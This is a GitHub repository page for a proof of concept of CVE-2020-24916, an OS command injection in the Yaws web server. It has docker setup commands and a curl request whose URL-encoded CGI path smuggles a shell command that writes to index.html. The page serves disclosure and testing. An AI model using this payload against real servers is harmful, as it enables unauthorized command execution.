Skip to content

vulnbe/poc-yaws-cgi-shell-injection

master
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Code

Latest commit

 

Git stats

Files

Permalink
Failed to load latest commit information.
Type
Name
Latest commit message
Commit time
 
 
 
 

OS command injection in Yaws web server (CVE-2020-24916)

Proof of concept

Build test image:

docker build -t vulnbe/yaws-pocs:shell-injection-appmod-cgi -f Dockerfile .

and/or

Run container docker run --rm -d -i -p 127.0.0.1:8000:8080 vulnbe/yaws-pocs:shell-injection-appmod-cgi

curl 'http://127.0.0.1:8000/cgi-bin/%22%60export%20Z=$(pwd%7Ccut%20-c1);echo%20pawned%20completely%3E%3E..$Z%22%22index.html%60%22'
curl http://127.0.0.1:8000/index.html

Credit

Alexey Pronin (@vulnbe)

References

About

Yaws web server OS command injection POC

Topics

Resources

Stars

Watchers

Forks